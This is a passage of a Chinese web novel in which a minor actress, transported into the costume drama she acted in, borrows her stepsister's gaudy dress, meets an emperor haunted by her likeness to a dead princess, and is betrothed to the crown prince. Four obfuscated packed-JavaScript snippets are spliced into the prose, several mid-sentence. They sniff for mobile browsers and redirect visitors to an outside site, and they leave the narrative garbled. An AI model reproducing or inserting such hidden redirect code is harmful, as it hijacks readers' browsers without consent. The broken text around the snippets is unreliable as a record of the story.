而明月公主,因为国破家亡,选择从悬崖一跃而下,最终香消玉殒。 她赴死之处,后被人称作“落月崖”。 也就是林若华和太子同归于尽的地方。 更巧的是,按照剧本设定,林若华的容貌与明月公主极为相似。 于是何导演一拍大腿,当场决定,明月公主和小将军,就让她和男主一起演得了。 其实林若华与明月公主在故事中毫无关系,但是何导演坚持认为,这样处理能增加宿命感,文艺点来讲就是纠缠的命运以及悲剧的轮回,俗称洒狗血。 让观众多掉两滴眼泪,这收视率不就上去了。 当时她有些为难。 她并非科班出身,之前只跑过几个龙套。 能演好林若华这个小配角,已经是没日没夜地读剧本、背台词,反复练习的结果。 现在还要一人分饰两角,真是强人所难。 何导演看出她的犹豫,拍拍她的肩,语气轻松:“懒得再找演员了,这也是给你们增加点戏份,放心吧,片酬也会加的。” 听到加钱这两个,她眼神一亮,顿时坚定道:“放心吧,导演,我拼死也会演好明月公主的。” 于是现在,林若华被回旋镖正中眉心,欲哭无泪:“两代帝王的白月光都是我哦,真是太厉害了。” 原本的剧情里,她与老皇帝并无交集。 林若华戏份少,老皇帝出场也不多。 太子死后,老皇帝没几年也驾崩了,男主萧玄鹤顺利登基。 可如今老皇帝不仅还活蹦乱跳,还要突然要召见她,面圣总不能戴面纱遮脸吧。 那么问题来了,老皇帝要是见到这张与白月光一模一样的脸,那会是什么反应呢? 按狗血剧的套路,老皇帝会对林若华一见钟情。 他认为林若华是公主转世,或干脆把她当替身。 她可不要来一场忘年恋,更不想给男主当小妈。 想到这里,她起身向王公公微笑道:“王公公,可否容若华稍作梳洗,再入宫面圣?” 王公公和蔼地点头:“不急,林小姐有一个时辰准备。” 林若华告退后转身走出厅堂,直至拐过回廊,这才加快脚步,直奔林洛瑶的闺房。 明月公主生前爱穿素色,前朝京城便盛行素雅之风,此风延续至今。 林若华平日也衣着素色,但那是为了低调不惹眼,能避免很多麻烦。 她衣柜中全是些白色,夹杂着两件淡蓝、淡青的衣裙,素净得可以直接穿着去给渣爹守孝。 而在新一代的姑娘中,喜好艳丽打扮的却不少。 林洛瑶就是其中之一。 她爱鲜艳的衣裙,也爱张扬的首饰。 什么亮的穿什么,什么贵的戴什么。 于是林若华闯进了林洛瑶的院子。 林洛瑶的院子又宽又亮,比她的强。 林洛瑶的衣柜又大又好,比她的强。 林洛瑶的衣服当然也是又多又艳,比她的强。 林若华一把拉开林洛瑶的衣柜,把头埋进去开始翻捡,动作干脆利落。 红的、粉的、橙的、黄的,各色衣裙绚丽夺目,几乎晃花了她的眼。 她毫不客气,一边选一边往外扔,很快地上就堆起了一座小小的衣山。 身后的丫鬟婆子都被苏南拦在门外。 林洛瑶闻讯赶来,一见自己心爱的衣裙被丢得满地狼藉,气得鼻子都歪了,尖叫出声:“林若华!你疯啦!你干什么!” 林若华头也不回,语气随意道:“看不见吗?借几件衣服穿穿。” 林洛瑶扑上去想扯她头发,结果苏南一把推开,跌坐在地。 她又哭又闹,声音甚至隐隐传至了厅堂。 下人们面面相觑,但没一个敢上前。 她们所有人加起来,恐怕也打不过太子送来的侍女。 更何况这个侍女背后可是太子殿下啊,哪是他们得罪得起的。 林兴业听到下人低声禀报,脸色一变,又迅速堆起笑容对王公公道:“小女有些琐事,容在下失陪片刻。” 王公公慢悠悠品着茶,眼也没抬:“无妨,林大人自便。” 一转身,林兴业的笑容就垮了下来。 夫妻二人一同踏入林洛瑶的院子,就见林洛瑶还坐在地上哭嚎。 丫鬟婆子围在一旁不知所措,太子所赐的侍女护在林若华身前,神色冷淡,不容他人靠近。 而林若华手中正捧着一条流光溢彩的红裙,裙摆用金线绣着大朵牡丹,在光线下熠熠生辉。 她满意地点头。 林兴业怒不可遏:“你们这是在做什么!成何体统!” 叶氏也惊得说不出话来。 林洛瑶抢先哭诉,声音哽咽:“爹爹,林若华抢我的裙子!那是我要在及笄礼上穿的,是娘亲特地在彩衣阁花了重金订制的,整整三个月才……” “够了!”林兴业一声呵斥。 林洛瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423310|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得噤声,眼泪掉得更凶。 这是父亲第一次对她如此严厉。 林兴业表情复杂,转向林若华,尽量让语气平和些:“若华,你这是做什么?有什么需要不能好好说吗?” 林若华唇角一扬,露出一个无辜的笑容:“女儿来借两件衣服。我自己没有像样的,一会儿要面圣,万一殿前失仪怎么办?父亲总不想让陛下知道,您平日对女儿如此节俭吧?” 她又扭头对林洛瑶一笑,语气轻快:“妹妹,虽然我不认可你的人品,但我不得不承认,你的衣品着实不错。” 林兴业一时语塞,脸色青白交加,只能无奈摆手,对林洛瑶道:“罢了,就让给姐姐吧,为父回头再给你置办更好的。” 林洛瑶气得眼睛都红了,林若华平日哪敢这样嚣张? 她死死盯着那件红裙,心在滴血。 林若华心满意足地将裙子交给苏南,又扑到梳妆台前,抱起首饰盒转身就跑,没人敢拦她。 边跑还边说:“你的首饰很好,但现在都是我的了。” “爹啊!”林洛瑶尖叫起来,几乎要晕厥过去。 林兴业扶额叹气,疲惫地摆手:“算了算了,等她回来再说……” 叶氏连假笑都懒得摆了,盯着林若华的背影,心底冷笑:以前还真以为是个老实怯懦的,没想到刚一得势,就忘了自己是谁。 林若华回到自己简陋的小院,关上门。 苏南守在门外。 半晌,等林若华再次推门出来。 苏南回头一看,饶是她一向冷若冰霜,眼角也几不可闻地抽搐了一下。 幸好定力足够,这才没破功。 厅堂里的王公公正要将茶杯往嘴边送,抬眼看见林若华这身打扮,手一抖,差点没维持住脸上的笑容。 林若华摘下了平日不离脸的面纱,没有面纱的遮掩,一张脸全然露了出来。 林兴业、叶氏、林洛瑶等林家众人也不由得一阵恍惚。 林若华原来生得这般美吗?宛如画中的仙子走下屏风。 只可惜,这位仙子的装扮实在过于艳俗。 正红底色的长裙上,裙摆绣着大朵大朵的金色牡丹。 头上除了金步摇,两侧还各插六只蝴蝶发钗,更戴了一朵硕大无比的牡丹绢花。 唇上的胭脂涂得过分鲜艳,简直像刚吸了血。 真是花枝招展、浓妆艳抹。 林洛瑶暗暗呸了一声:她的衣品才不是这样! 王公公身旁的小太监看得眼睛发直,想笑又不敢笑。 王公公如果是个现代人,那他就知道这个叫作行走的圣诞树。 倒不算失礼,但实在太过俗气。 平生所见,就连皇后娘娘也不及她。 恐怕是突然得了势,被富贵冲昏了头,恨不得把所有好东西都堆在身上,结果过犹不及。 谁不知道当今圣上偏爱素雅? 打扮成这副艳俗模样去面圣,怕是讨不到半点好。 可时辰已耽搁不得,再不出发只怕要惹怒圣驾。 王公公暗暗掂了掂袖中刚收的荷包,心下摇头,罢了,就让她自求多福吧。 他清了清嗓子,操着尖细的腔调:“林小姐既然已准备妥当,那便启程吧。” 5. 意外 林若华坐上马车,随着马蹄和车轮声一路摇摇晃晃驶向皇宫。 当马车拐入正街,窗外逐渐人声鼎沸,她忍不住掀起车帘。 街市上熙熙攘攘,小贩们正高声吆喝。 胭脂店外,身着布裙招揽顾客的妇人。 糖画摊前,围着糖画老头嬉笑的孩童。 一手挑着担子,一手摇着拨浪鼓的货郎。 刚出笼的包子冒着白色的热气,还混杂着隔壁糖炒栗子的甜香。 这喧闹的景象,让她终于有了一种真实感。 她是真的穿越了。 在宫门处经过侍卫验明身份后,林若华才得以下车,望着高大的宫墙,明白这是两个完全不同的地方。 王公公在前引路,领着她穿过一道道朱红色的宫门。 一路行至皇后所住的坤宁宫,王公公前去回禀,林若华独自留在偏殿等候。 不多时,便听到太监尖细的传召声:“宣工部主事林兴业之女,林若华觐见。” 林若华立刻躬身低头,跟着引路的小太监步入正殿。 她依礼跪拜:“臣女林若华,叩见皇上、皇后娘娘。皇上、皇后娘娘万福金安。” 殿内安静了片刻,上方才传来皇帝听不出任何情绪的声音:“平身。” 待林若华小心翼翼起身,抬起头一看,几乎就要维持不住表面上的镇定。 怎么太子也在这儿! 虽然之前听那个凌北提过,太子已面见过皇帝,但她万万没想到,他看起来安然无恙,这么健康。 面色红润,身姿挺拔,就那么气定神闲地站在老皇帝身旁。 一身杏黄色常服更衬得他面如冠玉,耀眼得令人无法忽视。 哪里有一点受伤的模样? 也看不出在剧中偏执疯狂、腹黑狠辣的样子。 俨然一位气度雍容、无可挑剔的储君。 一双好看的丹凤眼正望过来,眼底含着若有若无的笑意。 不好,有情况! 林若华心里顿时咯噔一下。 她就算了,毕竟真正的林若华的的确确死过一回,有点异常也算情有可原。 可太子你是怎么回事? 那万丈悬崖真的只是剧组搭设的布景吧。 才六天就恢复得像个没事人一样在这里晃悠,这科学吗?这合理吗? 这让悬崖很丢脸啊! 算了,这是古偶剧,是古偶剧,不要太讲究逻辑。 林若华心中默念三遍,这才冷静下来。 她偷偷用眼角余光瞥向太子,试图找出一点伪装的痕迹。 而前方的皇帝,那复杂的目光带着审视,早已落在了她的脸上。 皇帝的思绪,顷刻间被眼前这张与故人一模一样的脸,带回了二十一年前的那个夜晚。 那日的寒风如刀,割得萧昱面颊生疼。 昏君刚刚伏诛,他冰冷的战甲上染的血迹还未干,便马不停蹄地带兵追剿余孽。 他绝不能放走任何一个心腹大患。 一路上看着太子身边的侍卫一个个倒下。 最终,他将那身穿衮冕的太子逼至荒凉的悬崖边。 萧昱面如寒霜,声音沙哑,浑身带着杀伐之气:“束手就擒吧,太子殿下。前朝气数已尽,莫再多做无谓的挣扎。” 然而,那身穿衮冕之人回过头来,竟不是太子。 萧昱如遭雷击,惊呼出声:“明月?怎么是你!” 明月公主脸色苍白如雪,唇边扬起一个惨淡的笑容:“是我,萧将军。太子哥哥他已安全离去,你找不到他的。” 萧昱心中涌起被欺骗的愤怒和难以言喻的痛楚,怒声道:“那个懦夫,竟将你推出来做替身!” 明月摇了摇头:“我是自愿的。父皇已死,太子哥哥是我仅存的亲人了。” 他下意识地上前一步,明月向后退了一步,衣裾在悬崖边的狂风中猎猎作响。 萧昱心头一紧,察觉不对,急声道:“明月,明月,快过来!我绝不会伤害你!” 明月绝望地笑了起来,声音像是要飘散在悬崖的冷风中:“你不会,那你的将士们呢?他们会容许一个前朝公主活下去吗?萧昱,我已国破家亡,父皇纵有千般不是,却待我极好,我放不下这杀父之仇,更无法坦然面对你。你呢?你的父母兄嫂、你的侄儿侄女,他们皆因我父皇的一道旨意而惨死。这笔血债,你能放下吗?我们之间,早已隔着血海深仇,回不去了,再也回不去了……” 话音未落泪先流,她又决然地后退几步,半个身子已然悬空。 萧昱肝胆俱裂,冲上前去,努力伸手却只触碰到她的衣袖。 “不——” 他绝望的嘶吼回荡在山谷间。 明月公主,真的像一轮清冷美丽的月亮。 现在,月亮落山了。 老皇帝从回忆中醒来,双眼依旧在凝视林若华的脸,试图从艳俗的妆容下,寻找出属于故人的痕迹。 林若华感觉自己的脸都快笑僵了。 终于,皇帝低沉威严的声音再次响起,抛出一个奇怪的问题,问道:“你喜欢梅花吗?” 林若华一怔,完全没料会问这个。 既不询问坠崖那日的细节,也不追究她与太子之间究竟发生了什么事。 她迅速稳住心神,顺口胡编:“回陛下,臣女不敢欺瞒,臣女更爱牡丹,牡丹雍容华贵,更显人间富贵。” 说着,她还下意识地摸了摸发间那朵硕大的牡丹绢花。 皇帝看着她的动作,眼中闪过一丝难以捕捉的失望。 一旁的皇后也在细细端详她。 皇后娘娘今日装扮得雍容华贵,珠光宝气,光彩照人。 按林若华熟知的狗血剧套路,以及剧本里皇后后期那些疯癫恶毒的行径。 此刻这位中宫之主表面或许会假意夸赞几句,暗地里必然已生出忌惮,会想方设法打压这个容貌酷似皇帝白月光,可能威胁她地位的小丫头。 快来讨厌我吧。 快觉得我粗俗不堪。 快把我赶出宫去吧。 林若华几乎要在心里双手合十祈祷了。 谁知,事情的发展完全偏离了预期。 皇后像是真心喜欢她,脸上露开极为灿烂的笑容,甚至从凤座上起身,亲切地走来,拉过林若华的手。 这一动,林若华手腕上的四个玉镯露了出来。 皇后发现后,面不改色地从自己手腕上又褪下两个成色极好的玉镯,直接套到了林若华手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423311|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 六个镯子撞在一起,叮咚作响。 皇后笑着回头对皇帝说,语气间满是真诚:“陛下,您看,臣妾一见到这孩子,就打心眼里觉得喜欢。” 她是真的喜欢林若华。 放眼整个后宫,妃嫔们为了迎合圣意,终日素衣淡妆,争相模仿那位已故之人的清冷模样。 在她看来真是死气沉沉,活像一个个假人。 而眼前这位姑娘,如此明媚鲜活。 听说她生母早逝,在家不得宠爱,只能在继母手下艰难求生,很是不易。 怕是和她当年一样,突然看到一丝一毫的希望,便迫不及待地将所有好东西都穿戴在身上。 那年,先皇后去世,皇帝竟然意外踏足了她那个破旧又偏僻,常年无人问津的宫殿。 那是她时隔多年,第二次见到天子。 心中又惊又喜,手忙脚乱地将身边仅有的首饰全部戴上,甚至用光了所剩无几的胭脂。 后来,皇帝就封了她做皇后,封了她的儿子为太子。 最初,她一无所知,以为那日皇帝是突然想起了她。 在很久以后,她才慢慢回过味来。 可即便如此,她依旧喜爱艳丽的装扮。 小时候家里穷,孩子们饭都吃不饱,哪有钱买什么首饰发钗。 她只能去路边采一朵开得最艳的野花,小心翼翼地别在耳边,便能欢喜一整日。 想到此处,皇后看着林若华的眼神里,不由得多了一种同病相怜的疼惜。 林若华:“?” 皇后这神情,真挚得完全不像演的,那眼里的心疼几乎要溢出来了。 剧本里,皇后也只是个小配角,并没有仔细描述她前期的真实性情如何。 只说萧玄鹤登基后尊其为太后。 而她因丧子之痛而变得疯癫,终日辱骂新帝,甚至试图行刺,最终被幽禁佛堂,郁郁而终。 可眼前这位,分明是一位鲜活甚至有些单纯的中年妇人。 老皇帝威严的声音再次响起,打破了这微妙的氛围,他只说了两个字:“不错。” 他已年近五十,鬓角早已有了白发,眉宇间刻着深深的皱纹,看上去比实际年龄还要沧桑。 或许是年少时历经过家破人亡,以及战火纷飞的磨炼,登基后又为国事殚精竭虑。 前朝留给他的只有一个空空如也的国库和满目疮痍的江山。 昔年那个鲜衣怒马、意气风发的小将军,终究是被岁月打磨成了眼前这位深沉内敛、喜怒不形于色的帝王。 林若华不禁想到,不知男主老了以后,会不会也是这个模样。 皇后已是喜上眉梢,转头对皇帝道:“怪不得皇儿从小到大,从未开口求过我们什么,这次竟破天荒地来求我们允准,想要赐婚。原来是为着这个姑娘,她果然是极好的。” 太子也适时地笑了起来,目光温柔地望向林若华,语气中也带着笑:“父皇明鉴,母后说的是,她确实很好。” 林若华:“!” 皇帝看向的三人,面上依旧瞧不出什么情绪,只淡然道:“既然皇后与太子都如此说,那便拟旨赐婚吧。” 你们叽里咕噜地在说什么呢? 这个世界果然癫了啊! 6. 不明 皇帝回到御书房,并未落座。 他踱步至窗前,背影在烛光下被拉得悠长,明黄龙袍上绣的五爪金龙在光影中若隐若现。 窗外夕阳西下,一只归鸟飞过重檐,留下两声孤寂的鸣叫,眨眼间便被厚重的宫墙吞没。 空气中弥漫着一种山雨欲来的压抑。 他负手而立,摩挲着拇指上的翡翠扳指。 “王锦。”他忽然开口,声音不高,但在安静的殿内显得格外清晰。 “奴才在。”一旁的王公公立即躬身应道。 “去宣镇国公觐见。” “是,奴才遵旨。” 王公公退下后,殿内重归于静。 皇帝的视线落在窗外一株虬枝盘曲的枯梅树上,目光好像透过枯枝,看向了更遥远的过去。 那张脸真是惊人的相似啊,眉眼鼻唇,无一不是记忆中的模样。 若再年轻二十岁,血气方刚的他或许真会被这般惊人的容貌迷惑,但如今历经沧桑,看惯倾轧,他更相信事出反常必有妖。 世上岂会有两朵完全相同的花?纵然是形似,神韵也难以模仿。 就算有人处心积虑,将她的喜好与言行都模仿得惟妙惟肖,也终有破绽。 画虎画皮难画骨。 “模仿得再像,终究不是明月。”他低声自语,左手五指收拢,紧握成拳,“明月最爱白梅。‘冰雪林中著此身,不同桃李混芳尘。’那个林若华说她只爱牡丹,雍容华贵。” 他的眼神渐渐锐利。 无论六日前她是无辜被卷入太子刺杀案,还是本就身在局中,都已不再重要了。 重要的是,她已成为一枚绝佳的棋子。 正好借她,将那些藏在阴沟里,贼心不死的余孽,一一钓出,一网打尽。 约莫一炷香后,镇国公叶文礼应召而至,恭敬行礼:“臣叩见陛下。” 皇帝立刻转身,伸手虚扶:“文礼不必多礼。” 镇国公行完礼,方才起身。 烛光下,照亮了他两鬓的白发。 皇帝开门见山,沉声问道:“六日前的事,查得如何了?” “回陛下,现场共计十五具尸体,除去一个林府婢女,剩下的经仵作查验,皆为前朝余孽,都已全部伏诛,无一活口。身上所带的令牌,也确认是前朝太子东宫侍卫所有。”镇国公恭声回禀。 皇帝冷笑一声:“哼,倒是做得干净。那林若华的底细呢?” “表面看来并无异样。”镇国公从袖中取出一卷文书呈上,“林氏女林若华年十六,其父工部主事林兴业,八年前随奶娘入京。平日深居简出,极少参与闺阁聚会,往来皆是京中官宦女眷,未发现与可疑之人接触。只是……” 他略一停顿,抬眼暗自觑了下皇帝的神色,才继续道:“只是三年前,六公主在宫中举办的赏花宴上,她与三皇子在御花园有过短暂接触。今年上元节,三皇子府的马车曾在林府后巷停留约一盏茶。” “小打小闹,上不得台面。”皇帝哼道,心中了然。 老三那点蠢蠢欲动的心思他岂会不知? 他还没那个胆子直接勾结前朝逆党,但顺势利用,事后清理的手腕还是有的。 此番手脚做得还算干净,可惜,终究还是留下了痕迹,太年轻了。 太子那边,想必也是查到了这些蛛丝马迹,却苦无实证,才按下未提,只专注追查前朝逆党一事。 镇国公顿了顿,继续道:“但有一点颇为蹊跷,林若华是八年前才迁居京城,此前一直随外祖父母居住在上水镇。而上水镇距大树村仅三十余里。” 皇帝眼中精光一闪:“大树村?可是那个大树村?” “正是。”镇国公肯定道。 “查!”皇帝眼底闪过一抹狠戾,令人不寒而栗,“给朕细细地查!从上水镇到京城,这八年间的每一件事,每一个人,都给朕查个水落石出。朕要知道,是巧合,还是有人早在八年前,甚至更早,就开始布这局棋。” “臣遵旨。” 镇国公领命,但是未立马退下,反而再次撩起衣袍,郑重地跪了下去,伏地不起。 皇帝目光一凝,这次并未搀扶,问道:“文礼这是为何?” 镇国公心中苦涩万分。 此事绝不可能仅是前朝余孽作乱那么简单,三皇子究竟掺和了多少尚不可知,他此刻必须抢先一步,将镇国公府和谦儿从这个泥潭中摘出去。 天家允许皇子争斗,但极度忌惮手握重兵的臣子卷入其中,更何况还牵扯上前朝。 皇上赐予叶家世袭罔替的国公之位和无上荣宠,叶家已显赫至极,犹如烈火烹油,鲜花着锦。 一旦行差踏错,便是万劫不复,祸及全族。 他闭上眼,复又睁开,深深俯首:“臣教子无方,犬子护卫太子殿下不力,致使殿下遇险受伤,罪该万死,请陛下重罚!” 皇帝沉默片刻,缓缓坐回龙椅。 殿内静得能听见灯芯爆花的细微声响。 良久,他方才开口,声音听不出喜怒:“太子已无大碍,太医诊断,只是落水后感染风寒罢了。文礼,你我乃是生死至交,战场上是你为朕挡下那致命一箭,才换来朕今日的江山。” 他微微一顿,语气加重:“朕信你,此事与你无关。” 他说的是信“你”,与你无关。 是镇国公叶文礼,而没有提镇国公的世子叶景谦半个字。 镇国公伏地行了大礼,冷汗已浸透后襟。 待他退出时,夕阳最后的一缕余晖正映在宫墙上,恍如那日战场上的血色。 而此刻,林若华才刚到宫门。 皇帝和太子还需处理政务,中途便匆匆离去。 皇后娘娘留了她许久,絮絮叨叨说了很多家常。 皇后一会儿问她平日读什么书,一会儿又问喜欢什么样的衣裳,甚至问她爱吃哪些点心。 林若华哪里知道这些细节,不敢像之前对着老皇帝那样随意编造,怕多说多错,只能含糊地“嗯嗯”应着。 遇到实在糊弄不过去的,便低下头,摆出一副欲哭无泪的可怜模样。 这情态反倒让皇后愈发心疼:“好孩子,想必是在家时受了委屈。日后若是得空,常来宫里陪本宫说说话吧。” 末了又赏下大批新进贡的绸缎、两个黄金头面、一对玉如意,还特意指了两名信任的宫女去府中照料她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423312|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林若华出宫时,脚步都是飘的,一半是因为这突如其来的恩宠,一半是因为这完全脱离剧本的走向。 苏南仍在宫门外的马车上等候,见她上来,便示意车夫启程。 车厢内,林若华与苏南面面相觑,只能听见外面车轮碾过石板的声音。 最终还是林若华按捺不住,找了个话头,问道:“苏南,你可知道我今日为何被皇帝皇后召见?” 她需要有个人和她聊聊今天的荒诞事。 苏南依旧是那副冷冰冰的模样,连嘴角的弧度都没变,回道:“让你当太子妃。” 林若华叹了口气:“我给你说……” 她猛然反应过来:“等等,你知道?你是什么时候知道的?” “昨夜子时三刻,殿下传讯,命我从今往后,只听命于太子妃一人。” “昨天晚上?” 林若华愕然。 是她睡着之后? 他们是怎么传递消息的? “怪不得你今天话多了一些。不过,你之前不也是太子派来保护我、供我驱使的吗?” “不一样。”苏南语气平淡,“此前是奉命护卫,如今是认主。” “哪里不一样?”林若华奇怪道。 “从今日起,您需支付酬劳。”苏南面无表情地回答,“一年六百两,四季衣裳各三套,年终另算。” 林若华惊得睁大眼睛:“太子这么抠门?连护卫的工资都要我来出?” 她那个渣爹一年的俸禄都没有六百两。 “规矩如此。”苏南道。 林若华一时无语,转而好奇地问道:“规矩?苏南,你以前是做什么的?这样好的身手,总不会是普通护卫吧?” “惊虹楼,天字一等杀手。”苏南淡淡道,仿佛是在说今日天气不错。 “我之前还真猜对了。”林若华嘴角一抽,喃喃道。 但听苏南那平静的口气,惊虹楼听起来不像是个令人闻风丧胆的杀手组织,倒像是个普通的客栈酒楼。 她没有追问一个顶级杀手为何会为太子效力,也没去质疑她是否可靠。 这一切都发生得太快,她莫名其妙地穿越,莫名其妙地就成了太子妃,全程也没有人问过她愿不愿意。 太子究竟为何要求这道圣旨? 按她所知的人设,太子更可能想暗中折磨她,或是将她当作牵制男主的棋子。 若真是如此,他大可纳她为良娣或者良媛,甚至直接强抢入府,何必如此大费周章,以正妃之位相待,还惊动了皇帝皇后? 这几天发生的事情太多,他们剧组赶进度的时候都不敢拍得这么快。 从坠崖到赐婚,这才仅仅六天。 她不禁又开始怀疑,或许她是在片场摔成了植物人,这一切的一切都只是她做的一个梦。 这不是恐怖片常见的结局吗? 她忍不住又看向苏南,虽然不指望能得到真实的答案,但还是问出了口:“你知道太子为什么要我做太子妃吗?” “知道。” “为什么?” 苏南用她那毫无起伏的声音,慢慢吐出三个字:“因为爱。” “哈?” 7. 变化 林若华扶着苏南的手,刚走下马车,林府早已守在门口多时的众人便齐齐迎了上来。 门檐下两盏灯笼随风轻轻摇曳,暖黄的烛光洒在众人脸上,每个人的脸上都洋溢着掩不住的喜气,上上下下,一派祥和。 林若华发间那支牡丹宝石金钗在灯笼的照耀下,散发出璀璨光华。 那是离宫前皇后亲手为她戴上的。 赤金累丝制成一朵牡丹花的模样,当中镶嵌一枚血红色的宝石,流苏下还点缀着粒粒珍珠,无不显示出皇室的尊贵大气。 在这般夺目的光彩下,她头上十二只精巧的蝴蝶发钗、沉甸甸的金步摇以及那朵硕大的牡丹绢花,霎时间都失了颜色。 红宝石的光芒几乎要闪瞎众人的眼睛,也明晃晃地昭示着她如今截然不同的身份。 林兴业抚须长笑。 今日同僚们的道贺犹在耳边回响。 甚至往日对他爱答不理的田大人还专门走过来道喜。 这泼天的富贵砸得他晕头转向,心中激动难以言表。 万万没想到太子妃之位竟然会落在自家头上。 往后他林兴业的仕途必将水涨船高,即便昔日靠着娶叶家女得来的姻亲关系,这些年也并未带来多少实质助益。 这感觉,仿佛又回到当年金榜题名时,满心皆是对锦绣前程的憧憬。 他早已笑得合不拢嘴,连脚步都轻快了几分。 叶氏也是满心欢喜,眉间都带着笑意,不是往日间虚伪的模样。 纵然这些年来待林若华不如林洛瑶亲厚,可哪家高门大户里不受宠的女儿不是这般过来的?就连寻常百姓家也是如此。 无论如何,自己终究是林若华名分上的母亲,这份荣耀难道还会少了她不成? 就连林洛瑶,有了个太子妃姐姐,将来议亲时门槛也能更高几分,说不定也能同林若华一般,嫁入皇家呢。 府门口迎接的人乌泱泱站了一片,就连平日里避之不及的下人,也迫不及待地凑了进来。 只是唯独缺了林洛瑶。 林若华看着这些人,忽然想起剧情中的一幕。 衣衫褴褛的奶娘牵着瘦瘦小小的林若华,在同一扇朱门外苦苦哀求。 那时只有一个满脸横肉的恶仆,将她们拦在门外厉声叫骂,死活不肯相信她们的身份。 也不知当年柔弱的奶娘,是怎样带着幼小的林若华,一路风餐露宿捱到京城的。 想到这里,她只觉心口一阵发堵,对眼前这群趋炎附势之辈更加腻味,半句客套的话都懒得多说。 她今天累坏了,只随意同林兴业和叶氏打了个招呼,也不看众人反应,便直接回自己的院子休息去了。 叶氏有些不满,待她走远些,才低声对林兴业抱怨:“老爷瞧瞧,若华这孩子也真是的,这才刚有了体面,就……” 林兴业此刻还沉浸在狂喜中,毫不在意地摆摆手:“罢了罢了,她今日面圣,又在宫中耽搁了这大半日,定是乏了。让她好生歇着便是,来日方长。” 叶氏见他如此说,也只好讪讪地收了声。 回到自己简陋但清净的小院,林若华长长舒了一口气。 只有苏南与她在屋内。 她不禁再次打量起苏南。 苏南其貌不扬,身量适中,是那种丢进人堆里就找不着的长相,与周遭唯一格格不入的恐怕就只是那股冰冷的气息了。 想来杀手就该长成这样,才好隐匿于人群,伺机而动。 林若华带着好奇问道:“你是杀手,那一定会使兵器吧?” 苏南语气平淡:“擅长匕首。” 话音未落,只见她手腕一翻,一把带着寒光的匕首便已握在手中,一看就知道绝非俗物。 林若华不禁侧身朝她背后望了一眼:“你从哪儿拿出来的?” 苏南没有回答,只是沉默地站着。 林若华也不纠结,转而问道:“那我现在学武还来得及吗?” 她想着,若自己能有苏南一半厉害,也能多两分自保之力吧。 苏南的目光在她纤细的手腕和略显单薄的身板上打量了一下,轻轻摇头:“晚了,习武须得从小打根基。” 林若华闻言,虽在意料之中,仍不免有些失望,轻叹道:“好吧,我的武侠梦还没开始,就这么破灭了。” 说罢,她不由自主地打了个哈欠,是真有些累了:“你去休息吧,今天你也辛苦了。” 苏南本想说不辛苦,从前三天三夜不眠不休地执行任务也是常事,今日这点事情实在算不得什么。 但终究没有说出口,只应道:“是,主子。” “叫我小姐吧。”林若华摆摆手,“叫主子不习惯,总觉得怪怪的。” “是,小姐。”苏南从善如流,行礼后便退了出去,身影融入了门外的夜色中。 这一夜,林若华自行洗漱后,吹灭蜡烛,很快就带着极度的疲惫,沉沉睡去。 与此同时,镇国公府却依旧灯火通明,恍如白昼。 镇国公在书房中来回踱步。 他眉头紧锁,眉宇间尽是焦虑。 国公夫人王氏站在一旁,看着丈夫忧心的模样,温声劝慰道:“皇上既已开口说不再追究,夫君为何还如此忧心忡忡?” “你一个妇道人家懂得什么?”镇国公猛地停下脚步,烦躁道,“皇上已经对谦儿这个世子不满了。他整日同三皇子混在一起,却没有人家出息,只会逗猫遛狗的,也不肯好好读书,将来如何在朝中立足?” 王氏被丈夫突如其来的怒火吓了一跳,不解道:“可他们本是嫡亲的表兄弟啊。谦儿自幼便是三皇子殿下的伴读,两人一同读书,一同习武射箭,感情深厚些也是正常的啊。” “正常?这是取祸之道!”镇国公语气沉痛,带着一股疲惫,“皇上最忌惮的便是结党营私,这是帝王大忌。此番太子遇刺,三皇子与谦儿偏偏就在附近出现。这岂是巧合二字能解释的?皇上心里会怎么想?” 王氏声音发颤:“难道谦儿他参与了?不可能!绝不可能!” “他若真参与了,这镇国公世子的位置立刻就得换人。宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423313|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 